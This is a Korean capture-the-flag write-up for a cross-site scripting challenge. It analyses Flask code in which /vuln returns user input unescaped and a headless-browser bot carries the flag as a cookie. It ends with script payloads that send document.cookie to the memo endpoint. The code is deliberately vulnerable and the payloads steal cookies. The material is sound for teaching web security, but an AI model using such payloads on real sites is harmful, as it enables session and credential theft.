@app.route("/vuln")
def vuln():
param = request.args.get("param", "") #이용자가 입력한 vlun 인자를 가져옴
return param #이용자의 입력값을 화면 상에 표시
@app.route("/memo") #memo 페이지 라우팅
def memo(): #memo 함수 선언
global memo_text #메모를 전역변수로 참조
text = request.args.get("memo", "") #사용자가 전송한 memo입력값을 가져옴
memo_text += text + "\n" #사용자가 전송한 memo입력값을 memo_text에 추가
return render_template("memo.html", memo=memo_text) #memo_text를 render_template를 거쳐 사이트에 출력
1) 엔드포인트: /flag 분석
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
2) check_xss 함수 분석
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
3) read_url 함수 분석
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/") #로컬호스트 환경에서 웹 페이지를 접속
driver.add_cookie(cookie) #전달받은 cookie를 쿠키로 추가함
driver.get(url) # 매개변수로 받아온 사용자가 입력한 param을 포함한 url에 접속
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
- ‘/flag’ 에서 param값을 입력 후 submit 할 시 FLAG값을 쿠키에 심어서
‘127.0.0.1:8000’ 도메인으로 웹 서버 브라우저에 저장- ‘flag’에서 입력한 param을 통해 완성된 url로 브라우저를 띄움
- 2번과정에서 쿠키에 FLAG가 심어지므로,
param에 입력한 값을 통해 memo에 기록을 남길 수 있음
1) 삽입 스크립트
<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>
<script>location.href="/memo?memo="+document.cookie</script>